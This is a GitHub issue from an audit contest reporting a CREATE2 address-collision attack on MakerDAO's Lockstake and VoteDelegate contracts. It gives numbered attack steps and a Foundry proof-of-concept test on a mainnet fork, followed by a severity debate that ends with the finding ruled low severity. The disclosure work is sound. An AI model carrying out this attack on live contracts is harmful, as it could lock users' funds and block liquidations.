Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

00xSEV - An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol #63

Closed
sherlock-admin4 opened this issue Aug 5, 2024 · 13 comments
Labels
Escalation Resolved This issue's escalations have been approved/rejected Non-Reward This issue will not receive a payout

Comments

@sherlock-admin4
Copy link

sherlock-admin4 commented Aug 5, 2024

00xSEV

Medium

An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol

Summary

An attacker can use brute-force to find two private keys that create EOAs with the following properties:

  • The first key generates a regular EOA, referred to as eoa1.
  • The second key, when used as a salt for VD creation, produces a VD with an address identical to eoa1.

Since a VD (VoteDelegate) address depends solely on msg.sender. While this currently costs between $1.5 million and several million dollars (detailed in "Vulnerability Details"), the cost is decreasing, making the attack more feasible over time.

The attacker can approve IOU tokens to an EOA, attacker, and then create a VD. By transferring IOUs to another address, the attacker can lock liquidations and withdrawals for anyone using this VD.

Vulnerability Detail

Examples of previous issues with the same root cause:

All of these were judged as valid medium
sherlock-audit/2024-01-napier-judging#111
sherlock-audit/2023-12-arcadia-judging#59
sherlock-audit/2023-07-kyber-swap-judging#90
code-423n4/2024-04-panoptic-findings#482

Summary

The current cost of this attack is less than $1.5 million with current prices.

An attacker can find a single address collision between (1) and (2) with a high probability of success using a meet-in-the-middle technique, a classic brute-force-based attack in cryptography:

  • Brute-force a sufficient number of salt values (2^80), pre-compute the resulting account addresses, and efficiently store them, e.g., in a Bloom filter.
  • Brute-force contract pre-computation to find a collision with any address within the stored set from step 1.

The feasibility, detailed technique, and hardware requirements for finding a collision are well-documented:

The Bitcoin network hashrate has reached 6.5x10^20 hashes per second, taking only 31 minutes to achieve the necessary hashes. A fraction of this computing power can still find a collision within a reasonable timeframe.

Steps:

  1. The attacker finds two private keys that generate EOAs with the following properties:

    • The first key generates a regular EOA, eoa1.
    • The second key, eoa2, when used as a salt for VD creation, produces a VD with the same address as eoa1.
  2. Call IOU.approve(attacker, max) from eoa1.

  3. Call voteDelegateFactory.create() from eoa2:

    1. It creates VD1.
    2. VD1 address == eoa1 address.
    3. VD1 retains the approvals given from eoa1 in step 2.
  4. Call LSE.open to create LSUrn1.

  5. Call LSE.lock(LSUrn1, 1000e18) to deposit funds.

  6. Call LSE.draw(LSUrn1, attacker, maxPossible) to borrow the maximum amount.

  7. Call LSE.selectVoteDelegate(LSUrn1, VD1) to transfer MKR to chief and get IOU on VD1.

  8. Call IOU.transferFrom(VD1, attacker, maxPossible).

  9. Now all liquidations will revert because dog.bark => LSClipper.kick => LSE.onKick => LSE._selectVoteDelegate => VoteDelegateLike(prevVoteDelegate).free(wad); => chief.free(wad); => IOU.burn will revert.

  10. The same is true for withdrawals of users who trusted this VD and delegated their funds to it, starting from _selectVoteDelegate, which is called on free and will revert:

    1. It's unexpected for users that the funds can be lost; they might only expect that their MKR could be used for malicious voting.
    2. An attacker can offer large rewards for delegating to his VD, as long as the attack remains unknown, users won't expect to lose their funds.
    3. The attacker can also use VD and all the MKR on it for malicious voting. Users didn't expect to give him voting rights indefinitely, increasing the chances of governance attacks.
    4. If the attacker could acquire a substantial amount of funds, they could select a hat by voting and gain full control of the protocol.

Link to create2

Variations:

  • An eoa1 can be replaced with a contract created by eoa3. The address of the contract can be brute-forced in the same way as eoa1. The contract performs step 2 instead of eoa1 and self-destructs in the same transaction.
  • Instead of using eoa2 in step 1, the attacker can use a contract. A brute-forced EOA creates a contract that will create a VD such that the VD address equals eoa1.
    • This contract can be a marketplace to sell voting power from the beginning or a proxy, allowing the attacker to profit by selling acquired voting power to others.

Impact

The attacker can create non-liquidatable positions. All users who select the attacker's VD can lose their funds. All votes are permanently locked on the attacker's VD and can be used by the attacker for voting. Instead of eoa2, a contract can be used to allow others to vote and sell voting power, similar to Curve bribing or other governance attacks.

If the attacker could acquire a substantial amount of funds, they could select a hat by voting and gain full control of the protocol.

Code Snippet

PoC

  1. Create test/ALockstakeEngine.sol in the root project directory.
test/ALockstakeEngine.sol
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "../dss-flappers/lib/dss-test/src//DssTest.sol";
import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol";
import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol";
import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol";
import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol";
import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol";
import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol";
import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol";
import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol";
import { GemMock } from "../lockstake/test/mocks/GemMock.sol";
import { NstMock } from "../lockstake/test/mocks/NstMock.sol";
import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol";
import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol";
import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol";

import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol";
import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol";


contract DSChiefLike  {
    DSTokenAbstract public IOU;
    DSTokenAbstract public GOV;
    mapping(address=>uint256) public deposits;
    function free(uint wad) public {}
    function lock(uint wad) public {}
}

interface CalcFabLike {
    function newLinearDecrease(address) external returns (address);
}

interface LineMomLike {
    function ilks(bytes32) external view returns (uint256);
}

interface MkrAuthorityLike {
    function rely(address) external;
}

contract ALockstakeEngineTest is DssTest {
    using stdStorage for StdStorage;

    DssInstance             dss;
    address                 pauseProxy;
    DSTokenAbstract         mkr;
    LockstakeMkr            lsmkr;
    LockstakeEngine         engine;
    LockstakeClipper        clip;
    address                 calc;
    MedianAbstract          pip;
    VoteDelegateFactory     voteDelegateFactory;
    NstMock                 nst;
    NstJoinMock             nstJoin;
    GemMock                 rTok;
    StakingRewardsMock      farm;
    StakingRewardsMock      farm2;
    MkrNgtMock              mkrNgt;
    GemMock                 ngt;
    bytes32                 ilk = "LSE";
    address                 voter;
    address                 voteDelegate;

    LockstakeConfig     cfg;

    uint256             prevLine;
    
    address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F;

    event AddFarm(address farm);
    event DelFarm(address farm);
    event Open(address indexed owner, uint256 indexed index, address urn);
    event Hope(address indexed urn, address indexed usr);
    event Nope(address indexed urn, address indexed usr);
    event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_);
    event SelectFarm(address indexed urn, address farm, uint16 ref);
    event Lock(address indexed urn, uint256 wad, uint16 ref);
    event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref);
    event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed);
    event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad, uint256 ngtFreed);
    event FreeNoFee(address indexed urn, address indexed to, uint256 wad);
    event Draw(address indexed urn, address indexed to, uint256 wad);
    event Wipe(address indexed urn, uint256 wad);
    event GetReward(address indexed urn, address indexed farm, address indexed to, uint256 amt);
    event OnKick(address indexed urn, uint256 wad);
    event OnTake(address indexed urn, address indexed who, uint256 wad);
    event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund);

    function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
        // Note: _divup(0,0) will return 0 differing from natural solidity division
        unchecked {
            z = x != 0 ? ((x - 1) / y) + 1 : 0;
        }
    }

    // Real contracts for mainnet
    address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0;
    address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133;
    uint chiefBalanceBeforeTests;

    function setUp() public virtual {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954);

        dss = MCD.loadFromChainlog(LOG);

        pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY");
        pip = MedianAbstract(dss.chainlog.getAddress("PIP_MKR"));
        mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV"));
        nst = new NstMock();
        nstJoin = new NstJoinMock(address(dss.vat), address(nst));
        rTok = new GemMock(0);
        ngt = new GemMock(0);
        mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000);
        vm.startPrank(pauseProxy);
        MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt));
        vm.stopPrank();

        // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
        voteDelegateFactory = new VoteDelegateFactory(
            chief, polling
        );
        voter = address(123);
        vm.prank(voter); voteDelegate = voteDelegateFactory.create();

        vm.prank(pauseProxy); pip.kiss(address(this));
        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(1_500 * 10**18)));

        LockstakeInstance memory instance = LockstakeDeploy.deployLockstake(
            address(this),
            pauseProxy,
            address(voteDelegateFactory),
            address(nstJoin),
            ilk,
            15 * WAD / 100,
            address(mkrNgt),
            bytes4(abi.encodeWithSignature("newLinearDecrease(address)"))
        );

        engine = LockstakeEngine(instance.engine);
        clip = LockstakeClipper(instance.clipper);
        calc = instance.clipperCalc;
        lsmkr = LockstakeMkr(instance.lsmkr);
        farm = new StakingRewardsMock(address(rTok), address(lsmkr));
        farm2 = new StakingRewardsMock(address(rTok), address(lsmkr));

        address[] memory farms = new address[](2);
        farms[0] = address(farm);
        farms[1] = address(farm2);

        cfg = LockstakeConfig({
            ilk: ilk,
            voteDelegateFactory: address(voteDelegateFactory),
            nstJoin: address(nstJoin),
            nst: address(nstJoin.nst()),
            mkr: address(mkr),
            mkrNgt: address(mkrNgt),
            ngt: address(ngt),
            farms: farms,
            fee: 15 * WAD / 100,
            maxLine: 10_000_000 * 10**45,
            gap: 1_000_000 * 10**45,
            ttl: 1 days,
            dust: 50,
            duty: 100000001 * 10**27 / 100000000,
            mat: 3 * 10**27,
            buf: 1.25 * 10**27, // 25% Initial price buffer
            tail: 3600, // 1 hour before reset
            cusp: 0.2 * 10**27, // 80% drop before reset
            chip: 2 * WAD / 100,
            tip: 3,
            stopped: 0,
            chop: 1 ether,
            hole: 10_000 * 10**45,
            tau: 100,
            cut: 0,
            step: 0,
            lineMom: true,
            tolerance: 0.5 * 10**27,
            name: "LOCKSTAKE",
            symbol: "LMKR"
        });

        prevLine = dss.vat.Line();

        vm.startPrank(pauseProxy);
        LockstakeInit.initLockstake(dss, instance, cfg);
        vm.stopPrank();

        deal(address(mkr), address(this), 100_000 * 10**18, true);
        deal(address(ngt), address(this), 100_000 * 24_000 * 10**18, true);

        // Add some existing DAI assigned to nstJoin to avoid a particular error
        stdstore.target(address(dss.vat)).sig("dai(address)").with_key(address(nstJoin)).depth(0).checked_write(100_000 * RAD);

        chiefBalanceBeforeTests = mkr.balanceOf(chief);
    }

}

It is based on the LockstakeEngine.t.sol setUp function:

  • Fixed imports
  • Added block.number for caching RPC calls
  • Added chief and polling contracts from mainnet
  • Added the real VoteDelegateFactory

To see the diff, you can run git diff. Note: all other functions except setUp are removed from the file and the diff.

git diff --no-index lockstake/test/LockstakeEngine.t.sol test/ALockstakeEngine.sol
diff --git a/lockstake/test/LockstakeEngine.t.sol b/test/ALockstakeEngine.sol
index 83fa75d..ba4f381 100644
--- a/lockstake/test/LockstakeEngine.t.sol
+++ b/test/ALockstakeEngine.sol
@@ -2,20 +2,32 @@
 
 pragma solidity ^0.8.21;
 
-import "dss-test/DssTest.sol";
-import "dss-interfaces/Interfaces.sol";
-import { LockstakeDeploy } from "deploy/LockstakeDeploy.sol";
-import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "deploy/LockstakeInit.sol";
-import { LockstakeMkr } from "src/LockstakeMkr.sol";
-import { LockstakeEngine } from "src/LockstakeEngine.sol";
-import { LockstakeClipper } from "src/LockstakeClipper.sol";
-import { LockstakeUrn } from "src/LockstakeUrn.sol";
-import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol";
-import { GemMock } from "test/mocks/GemMock.sol";
-import { NstMock } from "test/mocks/NstMock.sol";
-import { NstJoinMock } from "test/mocks/NstJoinMock.sol";
-import { StakingRewardsMock } from "test/mocks/StakingRewardsMock.sol";
-import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol";
+import "../dss-flappers/lib/dss-test/src//DssTest.sol";
+import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol";
+import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol";
+import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol";
+import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol";
+import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol";
+import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol";
+import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol";
+import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol";
+import { GemMock } from "../lockstake/test/mocks/GemMock.sol";
+import { NstMock } from "../lockstake/test/mocks/NstMock.sol";
+import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol";
+import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol";
+import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol";
+
+import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol";
+import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol";
+
+
+contract DSChiefLike  {
+    DSTokenAbstract public IOU;
+    DSTokenAbstract public GOV;
+    mapping(address=>uint256) public deposits;
+    function free(uint wad) public {}
+    function lock(uint wad) public {}
+}
 
 interface CalcFabLike {
     function newLinearDecrease(address) external returns (address);
@@ -29,7 +41,7 @@ interface MkrAuthorityLike {
     function rely(address) external;
 }
 
-contract LockstakeEngineTest is DssTest {
+contract ALockstakeEngineTest is DssTest {
     using stdStorage for StdStorage;
 
     DssInstance             dss;
@@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest {
     LockstakeClipper        clip;
     address                 calc;
     MedianAbstract          pip;
-    VoteDelegateFactoryMock voteDelegateFactory;
+    VoteDelegateFactory     voteDelegateFactory;
     NstMock                 nst;
     NstJoinMock             nstJoin;
     GemMock                 rTok;
@@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest {
         }
     }
 
-    function setUp() public {
-        vm.createSelectFork(vm.envString("ETH_RPC_URL"));
+    // Real contracts for mainnet
+    address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0;
+    address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133;
+    uint chiefBalanceBeforeTests;
+
+    function setUp() public virtual {
+        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954);
 
         dss = MCD.loadFromChainlog(LOG);
 
@@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest {
         MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt));
         vm.stopPrank();
 
-        voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
+        // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr));
+        voteDelegateFactory = new VoteDelegateFactory(
+            chief, polling
+        );
         voter = address(123);
         vm.prank(voter); voteDelegate = voteDelegateFactory.create();
  1. Add the following remappings.txt to the root project directory.
dss-interfaces/=dss-flappers/lib/dss-test/lib/dss-interfaces/src/
dss-test/=dss-flappers/lib/dss-test/src/
forge-std/=dss-flappers/lib/dss-test/lib/forge-std/src/
@openzeppelin/contracts/=sdai/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/
@openzeppelin/contracts-upgradeable/=sdai/lib/openzeppelin-contracts-upgradeable/contracts/
solidity-stringutils=nst/lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/
lockstake:src/=lockstake/src/
vote-delegate:src/=vote-delegate/src/
sdai:src/=sdai/src/
  1. Run forge test --match-path test/ALSEH3.sol from the root project directory.
// SPDX-License-Identifier: AGPL-3.0-or-later

pragma solidity ^0.8.21;

import "./ALockstakeEngine.sol";

contract VoteDelegateLike {
    mapping(address => uint256) public stake; 
}

interface GemLike {
    function approve(address, uint256) external;
    function transfer(address, uint256) external;
    function transferFrom(address, address, uint256) external;
    function balanceOf(address) external view returns (uint256);
}

interface ChiefLike {
    function GOV() external view returns (GemLike);
    function IOU() external view returns (GemLike);
    function lock(uint256) external;
    function free(uint256) external;
    function vote(address[] calldata) external returns (bytes32);
    function vote(bytes32) external;
    function deposits(address) external returns (uint);
}

contract ALSEH3 is ALockstakeEngineTest {
    // Address used by the attacker, a regular EOA
    address attacker = makeAddr("attacker");
    // Address brute-forced by the attacker to make a VD that matches an EOA controlled by the attacker
    address minedVDCreator = makeAddr("minedUrnCreator");

    address[] users = [
        makeAddr("user1"),
        makeAddr("user2"),
        makeAddr("user3")
    ];

    uint mkrAmount = 100_000 * 10**18;

    address eoaVD;
    GemLike iou;

    function setUp() public override {
        // Call the parent setUp
        super.setUp();

        // This VD will have the same address as an EOA controlled by the attacker
        eoaVD = voteDelegateFactory.getAddress(minedVDCreator);
        iou = ChiefLike(chief).IOU();

        // Call from the EOA, the urn is not created yet
        vm.prank(eoaVD); iou.approve(attacker, type(uint).max);

        // Create the VD, can't use EOA anymore as per EIP-3607
        vm.prank(minedVDCreator); eoaVD = voteDelegateFactory.create();
        
        // Simulate several other urns
        _createUrnDepositDrawForUsers();
    }

    function testAttack1LockSelfLiquidation() external {
        _createUrnDepositDrawForUser(attacker, eoaVD);

        _testLiquidateUsingDog({user: attacker, expectRevert: false, revertMsg: ""});

        vm.prank(attacker); iou.transferFrom(eoaVD, attacker, mkrAmount);
        _testLiquidateUsingDog({user: attacker, expectRevert: true, revertMsg: "ds-token-insufficient-balance"});
    }

    function testAttack2LockWithdrawalsForOthers() external {
        _changeBlockNumberForChief();
        console.log("Voting power on eoaVD before users selected: %e", ChiefLike(chief).deposits(eoaVD));
        // Some users trusted this VD
        for (uint i; i < users.length; i++){
            address usr = users[i];
            address urn = engine.getUrn(usr, 0);
            vm.prank(usr); engine.selectVoteDelegate(urn, eoaVD);
        }

        console.log("Voting power on eoaVD after users selected: %e", ChiefLike(chief).deposits(eoaVD));

        _testLiquidateUsingDog({expectRevert: false, revertMsg: ""});
        uint eoaVdIouBalance = ChiefLike(chief).deposits(eoaVD);
        vm.prank(attacker); iou.transferFrom(eoaVD, attacker, eoaVdIouBalance);
        console.log("Voting power on eoaVD after withdrawing IOU: %e", ChiefLike(chief).deposits(eoaVD));

        _testLiquidateUsingDog({expectRevert: true, revertMsg: "ds-token-insufficient-balance"});

        for (uint i; i < users.length; i++){
            address usr = users[i];
            address urn = engine.getUrn(usr, 0);
            (uint256 ink,) = dss.vat.urns(ilk, urn);

            vm.startPrank(usr);
            nst.approve(address(engine), type(uint).max);
            engine.wipeAll(urn);

            vm.expectRevert("ds-token-insufficient-balance");
            engine.free(urn, usr, 1);

            vm.expectRevert("ds-token-insufficient-balance");
            engine.free(urn, usr, ink);
        }
    }

    // Chief won't allow withdrawal in the same block as the deposit
    function _changeBlockNumberForChief() internal {
        vm.roll(block.number + 1);
    }

    function _testLiquidateUsingDog(address user, bool expectRevert, string memory revertMsg) internal {
        _changeBlockNumberForChief();
        uint sId = vm.snapshot();

        address urn = engine.getUrn(user, 0);

        // Force urn unsafe
        vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(0.05 * 10**18)));
        dss.spotter.poke(ilk);

        if (expectRevert) vm.expectRevert(bytes(revertMsg));
        dss.dog.bark(ilk, urn, makeAddr("kpr"));

        vm.revertTo(sId);
    }

    function _testLiquidateUsingDog(bool expectRevert, string memory revertMsg) internal {
        for (uint i; i < users.length; i++){
            address user = users[i];
            _testLiquidateUsingDog(user, expectRevert, revertMsg);
        }
    }

    function _createUrnDepositDrawForUsers() internal {
        for (uint i; i < users.length; i++){
            _createUrnDepositDrawForUser(users[i], voteDelegate);
        }
    }

    function _createUrnDepositDrawForUser(address user, address _voteDelegate) internal {
        deal(address(mkr), user, mkrAmount);

        vm.startPrank(user);

        mkr.approve(address(engine), type(uint).max);
        address urn = engine.open(0);
        engine.lock(urn, mkrAmount, 0);
        engine.selectVoteDelegate(urn, _voteDelegate);
        engine.draw(urn, user, mkrAmount/50); // same proportion as in original LSE test

        vm.stopPrank();
    }
}

Tool used

Manual Review

Recommendation

  • Prevent users from controlling the salt, including using msg.sender.
  • Additionally, consider combining and encoding block.prevrandao with msg.sender. This approach will make finding a collision practically impossible within the short timeframe that prevrandao is known.
@sherlock-admin3
Copy link
Contributor

1 comment(s) were left on this issue during the judging contest.

Audittens commented:

Attack cost is the same as for the issue 64

@z3s z3s removed the Medium A Medium severity issue. label Aug 12, 2024
@z3s
Copy link
Collaborator

z3s commented Aug 12, 2024

The protocol team comments:

While we consider hash collision attacks extremely unlikely for the foreseeable future, we intend to change the VoteDelegateFactory so as to make it future-proof. Considering the enormous resources required for this attack, and given that a collision with a VoteDelegate could be use to grief (but not steal) funds deposited to a VoteDelegate, or to avoid a liquidation (which is very unlikely to be worth the cost of the attack), we consider this an informational / low severity issue. This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity."

@z3s z3s closed this as completed Aug 12, 2024
@sherlock-admin2 sherlock-admin2 changed the title Bitter Marmalade Iguana - An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol 00xSEV - An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol Aug 14, 2024
@sherlock-admin2 sherlock-admin2 added Non-Reward This issue will not receive a payout and removed Has Duplicates A valid issue with 1+ other issues describing the same vulnerability labels Aug 14, 2024
@JeffCX
Copy link

JeffCX commented Aug 15, 2024

Escalate

if https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64 is a medium

this issue should be a medium as well.

This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity

but the cost of attack will decrease as shown in the report and the loss of fund have no upper side because user will keep lock voting power fund.

https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegate.sol#L85

    function lock(uint256 wad) external {
        require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE,
                "VoteDelegate/no-lock-during-hatch");
        gov.transferFrom(msg.sender, address(this), wad);
        chief.lock(wad);
        stake[msg.sender] += wad;

        emit Lock(msg.sender, wad);
    }

@sherlock-admin3
Copy link
Contributor

Escalate

if https://github.com/sherlock-audit/2024-06-makerdao-endgame-judging/issues/64 is a medium

this issue should be a medium as well.

This is consistent with our General Disclaimer that "Issues where there is damage to the protocol/users but the net attack cost exceeds the damage caused significantly (50%+ more) are considered low severity

but the cost of attack will decrease as shown in the report and the loss of fund have no upper side because user will keep lock voting power fund.

https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegate.sol#L85

    function lock(uint256 wad) external {
        require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE,
                "VoteDelegate/no-lock-during-hatch");
        gov.transferFrom(msg.sender, address(this), wad);
        chief.lock(wad);
        stake[msg.sender] += wad;

        emit Lock(msg.sender, wad);
    }

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

@sherlock-admin4 sherlock-admin4 added the Escalated This issue contains a pending escalation label Aug 15, 2024
@JeffCX
Copy link

JeffCX commented Aug 15, 2024

other evidence:

issue #109 which is a duplicate of valid issue

#63

has the following the text:

Similarly a create2 collision found for votedelegate contract will allow a user to lock the funds of all the delegators by setting an approval for the IOU token early and then moving it later to another address causing the withdraw function of chief to revert since that much amount of IOU tokens are not present to burn

and

Considering the enormous resources required for this attack, and given that a collision with a VoteDelegate could be use to grief (but not steal) funds deposited to a VoteDelegate

I think as outlined by a lot of report, the attacker can approve the token allowance and then self-destruct so any fund that deposit into the contract can be transfered out and get stolen.

@00xSEV
Copy link

00xSEV commented Aug 16, 2024

The rules state that a valid duplicate must "Identify at least a Medium impact" (https://docs.sherlock.xyz/audits/judging/judging#ix.-duplication-rules).

I can see that my issue (#63), which has the following impacts:

The attacker can create non-liquidatable positions.  <@1
All users who select the attacker's VD can lose their funds.
All votes are permanently locked on the attacker's VD  <@2
and can be used by the attacker for voting. 
Instead of eoa2, a contract can be used to allow others to vote and sell voting power, similar to Curve bribing or other governance attacks.

has the same impact as
#42

prevent the protocol from liquidating the collateral.  <@1

and
#109

can avoid future liquidations  <@1
and also DOS other user's in withdrawing funds <@2

If impacts 1 and 2 are enough to be considered Medium, this issue should be valid.
If they are not, then issues 42 and 109 should not be considered valid at all, right?

@00xSEV
Copy link

00xSEV commented Aug 16, 2024

If this issue is valid, please also consider marking #37 as invalid since it lacks a sufficient proof of an attack path. No mentions about approves or selfdestruct, impossible to reproduce.

If an attacker can predict the user's address, they can pre-calculate the VoteDelegate contract address and deploy a malicious contract at that address before the user initiates the transaction.

Impact
If an attacker successfully executes a salt attack, they can modify the behavior of the newly created VoteDelegate contract. This could lead to a loss of control over the voting delegation process, allowing the attacker to manipulate votes or perform other unauthorized actions.

@yashar0x
Copy link

yashar0x commented Aug 17, 2024

The CREATE2 collision is valid, but this report and #64 describe the same vulnerability—CREATE2 address collisions. The different impacts they describe are simply variations of how an attacker might exploit this vulnerability. Since the core issue is identical, having two separate reports from a single Watson is redundant, as they share the same root cause and the same fix.

@WangSecurity
Copy link

I see how the problem with this report is the cost of the attack for #64. Hence, will provide my decision on this escalation, once the discussion on #64 is settled.

@telome
Copy link

telome commented Aug 19, 2024

#63 should not be considered a duplicate of #64 as it requires an attack that is harder and costlier to achieve than in #64 despite having a significantly lower impact than in #64.

  • Computationally, issue 63 requires 3 keccak's per generated create2 address while issue 64 requires only 2 of those.

  • There is a social aspect to the IOU griefing attack. It requires convincing users to choose the attacker's delegate. This is particularly challenging considering that the "approval + self-destruct" transaction will be visible on-chain. Any attempt to entice users to lock their MKR will attract more attention to the transaction history of the delegate.

  • Regarding the auction blocking attack, as per the contest rules, issue 63 cannot be considered medium if the cost of the attack is more than 150m$. This is because the maximum theoretical bad debt cannot exceed the debt ceiling, which per contest rules is capped at 100m$ and valid griefing attacks are requested to have an attack cost that does not exceed the damage by more than 50%.

    In practice given a reasonable mat value, and considering that governance can unilaterally grab an offending vault, governance will be able to manually liquidate the position and retrieve some amount of collateral value. As a result, the damage to the protocol will be much less than 100m$ and hence this submission should show that the attack cost would be much less than 150m$.

    Note that if the auction blocking attack is carried out in order to avoid paying liquidation and exit fees, then it should be shown that the cost of the attack is less than ~30m$ given a debt ceiling of 100m$, liquidation penalty of 13% and exit fee of 15%.

    In contrast, issue 64 only needs to show that the cost wouldn't exceed the potential gain obtained from taking control of the protocol.

@WangSecurity
Copy link

Based on the discussion under #64 about the cost of the attack, I believe this finding is low-severity as well. Planning to reject the escalation and leave the issue as it is.

@WangSecurity
Copy link

WangSecurity commented Aug 28, 2024

Result:
Invalid
Has duplicates

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Aug 28, 2024

Escalations have been resolved successfully!

Escalation status:

@sherlock-admin3 sherlock-admin3 removed the Escalated This issue contains a pending escalation label Aug 28, 2024
@sherlock-admin4 sherlock-admin4 added the Escalation Resolved This issue's escalations have been approved/rejected label Aug 28, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Escalation Resolved This issue's escalations have been approved/rejected Non-Reward This issue will not receive a payout
Projects
None yet
Development

No branches or pull requests

9 participants